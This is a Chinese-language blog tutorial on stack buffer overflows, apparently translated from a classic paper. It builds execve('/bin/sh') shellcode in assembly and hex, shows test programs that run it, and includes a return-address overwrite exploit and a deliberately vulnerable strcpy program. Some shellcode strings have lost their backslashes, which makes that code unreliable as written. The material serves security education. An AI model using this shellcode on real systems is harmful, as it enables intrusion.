記憶體緩衝區研究----第一課

abcbbc發表於2007-05-19
正在整理關於如何使用利器DBG作高難度動作[@more@]

簡 介
本文試圖解釋什麼是緩衝區溢位, 以及如何利用.
緩衝區,簡單說來是一塊連續的計算機記憶體區域, 可以儲存相同資料型別的多個例項.
C程式設計師通常和字緩衝區陣列打交道.最常見的是字元陣列. 陣列, 與C語言中所有的變數一樣,
可以被宣告為靜態或動態的. 靜態變數在程式載入時定位於資料段.
動態變數在程式執行時定位於堆疊之中.溢位, 說白了就是灌滿,
使內容物超過頂端, 邊緣, 或邊界. 我們這裡只關心動態緩衝區的溢位問題, 即基於堆疊的緩衝區溢位.
程式的記憶體組織形式
~~~~~~~~~~~~~~~~~~~~
為了理解什麼是堆疊緩衝區, 我們必須首先理解一個程式是以什麼組織形式在
記憶體中存在的. 程式被分成三個區域: 文字, 資料和堆疊. 我們把精力集中在堆疊
區域, 但首先按照順序簡單介紹一下其他區域.

文字區域是由程式確定的, 包括程式碼(指令)和只讀資料. 該區域相當於可執行
檔案的文字段. 這個區域通常被標記為只讀, 任何對其寫入的操作都會導致段錯誤
(segmentation violation).

資料區域包含了已初始化和未初始化的資料. 靜態變數儲存在這個區域中. 數
據區域對應可執行檔案中的data-bss段. 它的大小可以用系統呼叫brk(2)來改變.
如果bss資料的擴充套件或使用者堆疊把可用記憶體消耗光了, 程式就會被阻塞住, 等待有了
一塊更大的記憶體空間之後再執行. 新記憶體加入到資料和堆疊段的中間.

/------------------ 記憶體低地址
| |
| 文字 |
| |
|------------------|
| (已初始化) |
| 資料 |
| (未初始化) |
|------------------|
| |
| 堆疊 |
| |
------------------/ 記憶體高地址

Fig. 1 程式記憶體區域


什麼是堆疊?
~~~~~~~~~~~~~
堆疊是一個在電腦科學中經常使用的抽象資料型別. 堆疊中的物體具有一個特性:
最後一個放入堆疊中的物體總是被最先拿出來, 這個特性通常稱為後進先處(LIFO)佇列.

堆疊中定義了一些操作. 兩個最重要的是PUSH和POP. PUSH操作在堆疊的頂部加入一
個元素. POP操作相反, 在堆疊頂部移去一個元素, 並將堆疊的大小減一.
為什麼使用堆疊?
~~~~~~~~~~~~~~~~
現代計算機被設計成能夠理解人們頭腦中的高階語言. 在使用高階語言構造程式時
最重要的技術是過程(procedure)和函式(function). 從這一點來看, 一個過程呼叫可
以象跳轉(jump)命令那樣改變程式的控制流程, 但是與跳轉不同的是, 當工作完成時,
函式把控制權返回給呼叫之後的語句或指令. 這種高階抽象實現起來要靠堆疊的幫助.

堆疊也用於給函式中使用的區域性變數動態分配空間, 同樣給函式傳遞引數和函式返
回值也要用到堆疊.
堆疊區域
~~~~~~~~~~
堆疊是一塊儲存資料的連續記憶體. 一個名為堆疊指標(SP)的暫存器指向堆疊的頂部.
堆疊的底部在一個固定的地址. 堆疊的大小在執行時由核心動態地調整. CPU實現指令
PUSH和POP, 向堆疊中新增元素和從中移去元素.

堆疊由邏輯堆疊幀組成. 當呼叫函式時邏輯堆疊幀被壓入棧中, 當函式返回時邏輯
堆疊幀被從棧中彈出. 堆疊幀包括函式的引數, 函式地區域性變數, 以及恢復前一個堆疊
幀所需要的資料, 其中包括在函式呼叫時指令指標(IP)的值.

堆疊既可以向下增長(向記憶體低地址)也可以向上增長, 這依賴於具體的實現. 在我
們的例子中, 堆疊是向下增長的. 這是很多計算機的實現方式, 包括Intel, Motorola,
SPARC和MIPS處理器. 堆疊指標(SP)也是依賴於具體實現的. 它可以指向堆疊的最後地址,
或者指向堆疊之後的下一個空閒可用地址. 在我們的討論當中, SP指向堆疊的最後地址.

除了堆疊指標(SP指向堆疊頂部的的低地址)之外, 為了使用方便還有指向幀內固定
地址的指標叫做幀指標(FP). 有些文章把它叫做區域性基指標(LB-local base pointer).
從理論上來說, 區域性變數可以用SP加偏移量來引用. 然而, 當有字被壓棧和出棧後, 這
些偏移量就變了. 儘管在某些情況下編譯器能夠跟蹤棧中的字操作, 由此可以修正偏移
量, 但是在某些情況下不能. 而且在所有情況下, 要引入可觀的管理開銷. 而且在有些
機器上, 比如Intel處理器, 由SP加偏移量訪問一個變數需要多條指令才能實現.

因此, 許多編譯器使用第二個暫存器, FP, 對於區域性變數和函式引數都可以引用,
因為它們到FP的距離不會受到PUSH和POP操作的影響. 在Intel CPU中, BP(EBP)用於這
個目的. 在Motorola CPU中, 除了A7(堆疊指標SP)之外的任何地址暫存器都可以做FP.
考慮到我們堆疊的增長方向, 從FP的位置開始計算, 函式引數的偏移量是正值, 而區域性
變數的偏移量是負值.

當一個例程被呼叫時所必須做的第一件事是儲存前一個FP(這樣當例程退出時就可以
恢復). 然後它把SP複製到FP, 建立新的FP, 把SP向前移動為區域性變數保留空間. 這稱為
例程的序幕(prolog)工作. 當例程退出時, 堆疊必須被清除乾淨, 這稱為例程的收尾
(epilog)工作. Intel的ENTER和LEAVE指令, Motorola的LINK和UNLINK指令, 都可以用於
有效地序幕和收尾工作.

下面我們用一個簡單的例子來展示堆疊的模樣:

example1.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}

void main() {
function(1,2,3);
}
------------------------------------------------------------------------------
為了理解程式在呼叫function()時都做了哪些事情, 我們使用gcc的-S選項編譯, 以產
生彙編程式碼輸出:

$ gcc -S -o example1.s example1.c

透過檢視組合語言輸出, 我們看到對function()的呼叫被翻譯成:

pushl $3
pushl $2
pushl $1
call function

以從後往前的順序將function的三個引數壓入棧中, 然後呼叫function(). 指令call
會把指令指標(IP)也壓入棧中. 我們把這被儲存的IP稱為返回地址(RET). 在函式中所做
的第一件事情是例程的序幕工作:

pushl %ebp
movl %esp,%ebp
subl $20,%esp

將幀指標EBP壓入棧中. 然後把當前的SP複製到EBP, 使其成為新的幀指標. 我們把這
個被儲存的FP叫做SFP. 接下來將SP的值減小, 為區域性變數保留空間.

我們必須牢記:記憶體只能以字為單位定址. 在這裡一個字是4個位元組, 32位. 因此5位元組
的緩衝區會佔用8個位元組(2個字)的記憶體空間, 而10個位元組的緩衝區會佔用12個位元組(3個字)
的記憶體空間. 這就是為什麼SP要減掉20的原因. 這樣我們就可以想象function()被呼叫時
堆疊的模樣(每個空格代表一個位元組):


記憶體低地址 記憶體高地址

buffer2 buffer1 sfp ret a b c
<------ [ ][ ][ ][ ][ ][ ][ ]

堆疊頂部 堆疊底部


緩衝區溢位
~~~~~~~~~~~~
緩衝區溢位是向一個緩衝區填充超過它處理能力的資料所造成的結果. 如何利用這個
經常出現的程式設計錯誤來執行任意程式碼呢? 讓我們來看看另一個例子:

example2.c
------------------------------------------------------------------------------
void function(char *str) {
char buffer[16];

strcpy(buffer,str);
}

void main() {
char large_string[256];
int i;

for( i = 0; i < 255; i++)
large_string[i] = 'A';

function(large_string);
}
------------------------------------------------------------------------------

這個程式的函式含有一個典型的記憶體緩衝區編碼錯誤. 該函式沒有進行邊界檢查就復
制提供的字串, 錯誤地使用了strcpy()而沒有使用strncpy(). 如果你執行這個程式就
會產生段錯誤. 讓我們看看在呼叫函式時堆疊的模樣:

記憶體低地址 記憶體高地址

buffer sfp ret *str
<------ [ ][ ][ ][ ]

堆疊頂部 堆疊底部

這裡發生了什麼事? 為什麼我們得到一個段錯誤? 答案很簡單: strcpy()將*str的
內容(larger_string[])複製到buffer[]裡, 直到在字串中碰到一個空字元. 顯然,
buffer[]比*str小很多. buffer[]只有16個位元組長, 而我們卻試圖向裡面填入256個位元組
的內容. 這意味著在buffer之後, 堆疊中250個位元組全被覆蓋. 包括SFP, RET, 甚至*str!
我們已經把large_string全都填成了A. A的十六進位制值為0x41. 這意味著現在的返回地
址是0x41414141. 這已經在程式的地址空間之外了. 當函式返回時, 程式試圖讀取返回
地址的下一個指令, 此時我們就得到一個段錯誤.

因此緩衝區溢位允許我們更改函式的返回地址. 這樣我們就可以改變程式的執行流程.
現在回到第一個例子, 回憶當時堆疊的模樣:

記憶體低地址 記憶體高地址

buffer2 buffer1 sfp ret a b c
<------ [ ][ ][ ][ ][ ][ ][ ]

堆疊頂部 堆疊底部

現在試著修改我們第一個例子, 讓它可以覆蓋返回地址, 而且使它可以執行任意程式碼.
堆疊中在buffer1[]之前的是SFP, SFP之前是返回地址. ret從buffer1[]的結尾算起是4個
位元組.應該記住的是buffer1[]實際上是2個字即8個位元組長. 因此返回地址從buffer1[]的開
頭算起是12個位元組. 我們會使用這種方法修改返回地址, 跳過函式呼叫後面的賦值語句
'x=1;', 為了做到這一點我們把返回地址加上8個位元組. 程式碼看起來是這樣的:

example3.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;

ret = buffer1 + 12;
(*ret) += 8;
}

void main() {
int x;

x = 0;
function(1,2,3);
x = 1;
printf("%dn",x);
}
------------------------------------------------------------------------------

我們把buffer1[]的地址加上12, 所得的新地址是返回地址儲存的地方. 我們想跳過
賦值語句而直接執行printf呼叫. 如何知道應該給返回地址加8個位元組呢? 我們先前使用
過一個試驗值(比如1), 編譯該程式, 祭出工具gdb:

------------------------------------------------------------------------------
[aleph1]$ gdb example3
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490 <main>: pushl %ebp
0x8000491 <main+1>: movl %esp,%ebp
0x8000493 <main+3>: subl $0x4,%esp
0x8000496 <main+6>: movl $0x0,0xfffffffc(%ebp)
0x800049d <main+13>: pushl $0x3
0x800049f <main+15>: pushl $0x2
0x80004a1 <main+17>: pushl $0x1
0x80004a3 <main+19>: call 0x8000470 <function>
0x80004a8 <main+24>: addl $0xc,%esp
0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp)
0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax
0x80004b5 <main+37>: pushl %eax
0x80004b6 <main+38>: pushl $0x80004f8
0x80004bb <main+43>: call 0x8000378 <printf>
0x80004c0 <main+48>: addl $0x8,%esp
0x80004c3 <main+51>: movl %ebp,%esp
0x80004c5 <main+53>: popl %ebp
0x80004c6 <main+54>: ret
0x80004c7 <main+55>: nop
------------------------------------------------------------------------------

我們看到當呼叫function()時, RET會是0x8004a8, 我們希望跳過在0x80004ab的賦值
指令. 下一個想要執行的指令在0x8004b2. 簡單的計算告訴我們兩個指令的距離為8位元組.


Shell Code
~~~~~~~~~~
現在我們可以修改返回地址即可以改變程式執行的流程, 我們想要執行什麼程式呢?
在大多數情況下我們只是希望程式派生出一個shell. 從這個shell中, 可以執行任何我
們所希望的命令. 但是如果我們試圖破解的程式裡並沒有這樣的程式碼可怎麼辦呢? 我們
怎麼樣才能將任意指令放到程式的地址空間中去呢? 答案就是把想要執行的程式碼放到我
們想使其溢位的緩衝區裡, 並且覆蓋函式的返回地址, 使其指向這個緩衝區. 假定堆疊
的起始地址為0xFF, S代表我們想要執行的程式碼, 堆疊看起來應該是這樣:

記憶體低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 記憶體高
地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址
buffer sfp ret a b c

<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
^ |
|____________________________|
堆疊頂部 堆疊底部

派生出一個shell的C語言程式碼是這樣的:

shellcode.c
-----------------------------------------------------------------------------
#include <stdio.h>

void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------------

為了查明這程式變成彙編後是個什麼樣子, 我們編譯它, 然後祭出除錯工具gdb. 記住
在編譯的時候要使用-static標誌, 否則系統呼叫execve的真實程式碼就不會包括在彙編中,
取而代之的是對動態C語言庫的一個引用, 真正的程式碼要到程式載入的時候才會聯入.

------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>: pushl $0x0
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 <main+25>: pushl %eax
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d <main+29>: pushl %eax
0x800014e <main+30>: call 0x80002bc <__execve>
0x8000153 <main+35>: addl $0xc,%esp
0x8000156 <main+38>: movl %ebp,%esp
0x8000158 <main+40>: popl %ebp
0x8000159 <main+41>: ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
------------------------------------------------------------------------------
下面我們看看這裡究竟發生了什麼事情. 先從main開始研究:
------------------------------------------------------------------------------
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp

這是例程的準備工作. 首先儲存老的幀指標, 用當前的堆疊指標作為新的幀指標,
然後為區域性變數保留空間. 這裡是:

char *name[2];

即2個指向字串的指標. 指標的長度是一個字, 所以這裡保留2個字(8個位元組)的
空間.

0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)

我們把0x80027b8(字串"/bin/sh"的地址)這個值複製到name[]中的第一個指標, 這
等價於:
name[0] = "/bin/sh";
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)

我們把值0x0(NULL)複製到name[]中的第二個指標, 這等價於:

name[1] = NULL;

對execve()的真正呼叫從下面開始:

0x8000144 <main+20>: pushl $0x0

我們把execve()的引數以從後向前的順序壓入堆疊中, 這裡從NULL開始.

0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax

把name[]的地址放到EAX暫存器中.

0x8000149 <main+25>: pushl %eax

接著就把name[]的地址壓入堆疊中.

0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax

把字串"/bin/sh"的地址放到EAX暫存器中

0x800014d <main+29>: pushl %eax

接著就把字串"/bin/sh"的地址壓入堆疊中

0x800014e <main+30>: call 0x80002bc <__execve>

呼叫庫例程execve(). 這個呼叫指令把IP(指令指標)壓入堆疊中.
------------------------------------------------------------------------------
現在到了execve(). 要注意我們使用的是基於Intel的Linux系統. 系統呼叫的細節隨
作業系統和CPU的不同而不同. 有的把引數壓入堆疊中, 有的儲存在暫存器裡. 有的使用
軟中斷跳入核心模式, 有的使用遠呼叫(far call). Linux把傳給系統呼叫的引數儲存在
暫存器裡, 並且使用軟中斷跳入核心模式.
------------------------------------------------------------------------------
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx

例程的準備工作.

0x80002c0 <__execve+4>: movl $0xb,%eax

把0xb(十進位制的11)放入暫存器EAX中(原文誤為堆疊). 0xb是系統呼叫表的索引
11就是execve.

0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx

把"/bin/sh"的地址放到暫存器EBX中.

0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx

把name[]的地址放到暫存器ECX中.

0x80002cb <__execve+15>: movl 0x10(%ebp),%edx

把空指標的地址放到暫存器EDX中.

0x80002ce <__execve+18>: int $0x80

進入核心模式.
------------------------------------------------------------------------------

由此可見呼叫execve()也沒有什麼太多的工作要做, 所有要做的事情總結如下:

a) 把以NULL結尾的字串"/bin/sh"放到記憶體某處.
b) 把字串"/bin/sh"的地址放到記憶體某處, 後面跟一個空的長字(null long word)
.
c) 把0xb放到暫存器EAX中.
d) 把字串"/bin/sh"的地址放到暫存器EBX中.
e) 把字串"/bin/sh"地址的地址放到暫存器ECX中.
(注: 原文d和e步驟把EBX和ECX弄反了)
f) 把空長字的地址放到暫存器EDX中.
g) 執行指令int $0x80.

但是如果execve()呼叫由於某種原因失敗了怎麼辦? 程式會繼續從堆疊中讀取指令,
這時的堆疊中可能含有隨機的資料! 程式執行這樣的指令十有八九會core dump. 如果execv
e
呼叫失敗我們還是希望程式能夠乾淨地退出. 為此必須在呼叫execve之後加入一個exit
系統呼叫. exit系統呼叫在組合語言看起來象什麼呢?

exit.c
------------------------------------------------------------------------------
#include <stdlib.h>
void main() {
exit(0);
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx
0x8000358 <_exit+12>: int $0x80
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.
------------------------------------------------------------------------------
系統呼叫exit會把0x1放到暫存器EAX中, 在EBX中放置退出碼, 並且執行"int 0x80".
就這些了! 大多數應用程式在退出時返回0, 以表示沒有錯誤. 我們在EBX中也放入0. 現
在我們構造shell code的步驟就是這樣的了:

a) 把以NULL結尾的字串"/bin/sh"放到記憶體某處.
b) 把字串"/bin/sh"的地址放到記憶體某處, 後面跟一個空的長字(null long word)
.
c) 把0xb放到暫存器EAX中.
d) 把字串"/bin/sh"的地址放到暫存器EBX中.
e) 把字串"/bin/sh"地址的地址放到暫存器ECX中.
(注: 原文d和e步驟把EBX和ECX弄反了)
f) 把空長字的地址放到暫存器EDX中.
g) 執行指令int $0x80.
h) 把0x1放到暫存器EAX中.
i) 把0x0放到暫存器EAX中.
j) 執行指令int $0x80.

試著把這些步驟變成組合語言, 把字串放到程式碼後面. 別忘了在陣列後面放上字串
地址和空字, 我們有如下的程式碼:
------------------------------------------------------------------------------
movl string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string goes here.
------------------------------------------------------------------------------
問題是我們不知道在要破解的程式的記憶體空間中, 上述程式碼(和其後的字串)會被放到
哪裡. 一種解決方法是使用JMP和CALL指令. JMP和CALL指令使用相對IP的定址方式, 也就
是說我們可以跳到距離當前IP一定間距的某個位置, 而不必知道那個位置在記憶體中的確切
地址. 如果我們在字串"/bin/sh"之前放一個CALL指令, 並由一個JMP指令轉到CALL指令上.
當CALL指令執行的時候, 字串的地址會被作為返回地址壓入堆疊之中. 我們所需要的就是
把返回地址放到一個暫存器之中. CALL指令只是呼叫我們上述的程式碼就可以了. 假定J代
表JMP指令, C代表CALL指令, s代表字串, 執行過程如下所示:


記憶體低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 記憶體高
地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址
buffer sfp ret a b c

<------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^ ^| |
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)

堆疊頂部 堆疊底部

運用上述的修正方法, 並使用相對索引定址, 我們程式碼中每條指令的位元組數目如下:
------------------------------------------------------------------------------
jmp offset-to-call # 2 bytes
popl %esi # 1 byte
movl %esi,array-offset(%esi) # 3 bytes
movb $0x0,nullbyteoffset(%esi)# 4 bytes
movl $0x0,null-offset(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call offset-to-popl # 5 bytes
/bin/sh string goes here.
------------------------------------------------------------------------------
透過計算從jmp到call, 從call到popl, 從字串地址到陣列, 從字串地址到空長字的
偏量, 我們得到:
------------------------------------------------------------------------------
jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2b # 5 bytes
.string "/bin/sh" # 8 bytes
------------------------------------------------------------------------------
這看起來很不錯了. 為了確保程式碼能夠正常工作必須編譯並執行. 但是還有一個問題.
我們的程式碼修改了自身, 可是多數作業系統將內碼表標記為只讀. 為了繞過這個限制我們
必須把要執行的程式碼放到堆疊或資料段中, 並且把控制轉到那裡. 為此應該把程式碼放到數
據段中的全域性陣列中. 我們首先需要用16進製表示的二進位制程式碼. 先編譯, 然後再用gdb
來取得二進位制程式碼.
shellcodeasm.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string "/bin/sh" # 8 bytes
");
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: jmp 0x800015f <main+47>
0x8000135 <main+5>: popl %esi
0x8000136 <main+6>: movl %esi,0x8(%esi)
0x8000139 <main+9>: movb $0x0,0x7(%esi)
0x800013d <main+13>: movl $0x0,0xc(%esi)
0x8000144 <main+20>: movl $0xb,%eax
0x8000149 <main+25>: movl %esi,%ebx
0x800014b <main+27>: leal 0x8(%esi),%ecx
0x800014e <main+30>: leal 0xc(%esi),%edx
0x8000151 <main+33>: int $0x80
0x8000153 <main+35>: movl $0x1,%eax
0x8000158 <main+40>: movl $0x0,%ebx
0x800015d <main+45>: int $0x80
0x800015f <main+47>: call 0x8000135 <main+5>
0x8000164 <main+52>: das
0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>: das
0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55>
0x800016b <main+59>: addb %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 <main+3>: 0xeb
(gdb)
0x8000134 <main+4>: 0x2a
(gdb)
.
.
.
------------------------------------------------------------------------------
testsc.c
------------------------------------------------------------------------------
char shellcode[] =
"xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00"
"x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80"
"xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxff"
"xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3";

void main() {
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
------------------------------------------------------------------------------

成了! 但是這裡還有一個障礙, 在多數情況下, 我們都是試圖使一個字元緩衝區溢位.
那麼在我們shellcode中的任何NULL位元組都會被認為是字串的結尾, 複製工作就到此為
止了. 對於我們的破解工作來說, 在shellcode裡不能有NULL位元組. 下面來消除這些位元組,
同時把程式碼精簡一點.


Problem instruction: Substitute with:
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------

Our improved code:

shellcodeasm2.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x1f # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string "/bin/sh" # 8 bytes
# 46 bytes total
");
}
------------------------------------------------------------------------------
And our new test program:
testsc2.c
------------------------------------------------------------------------------
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";

void main() {
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc2 testsc2.c
[aleph1]$ ./testsc2
$ exit
[aleph1]$
------------------------------------------------------------------------------
破解實戰
~~~~~~~~~~
現在把手頭的工具都準備好. 我們已經有了shellcode. 我們知道shellcode必須是被
溢位的字串的一部分. 我們知道必須把返回地址指回緩衝區. 下面的例子說明了這幾點:
overflow1.c
------------------------------------------------------------------------------
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";

char large_string[128];

void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];

strcpy(buffer,large_string);
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o exploit1 exploit1.c
[aleph1]$ ./exploit1
$ exit
exit
[aleph1]$
------------------------------------------------------------------------------

如上所示, 我們用buffer[]的地址來填充large_string[]陣列, shellcode就將會在
buffer[]之中. 然後我們把shellcode複製到large_string字串的開頭. strcpy()不做任
何邊界檢查就會將large_string複製到buffer中去, 並且覆蓋返回地址. 現在的返回地址
就是我們shellcode的起始位置. 一旦執行到main函式的尾部, 在試圖返回時就會跳到我
們的shellcode中, 得到一個shell.

我們所面臨的問題是: 當試圖使另外一個程式的緩衝區溢位的時候, 如何確定這個
緩衝區(會有我們的shellcode)的地址在哪? 答案是: 對於每一個程式, 堆疊的起始地址
都是相同的. 大多數程式不會一次向堆疊中壓入成百上千位元組的資料. 因此知道了堆疊
的開始地址, 我們可以試著猜出這個要使其溢位的緩衝區在哪. 下面的小程式會列印出
它的堆疊指標:


sp.c
------------------------------------------------------------------------------
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main() {
printf("0x%xn", get_sp());
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ ./sp
0x8000470
[aleph1]$
------------------------------------------------------------------------------

假定我們要使其溢位的程式如下:

vulnerable.c
------------------------------------------------------------------------------
void main(int argc, char *argv[]) {
char buffer[512];

if (argc > 1)
strcpy(buffer,argv[1]);
}
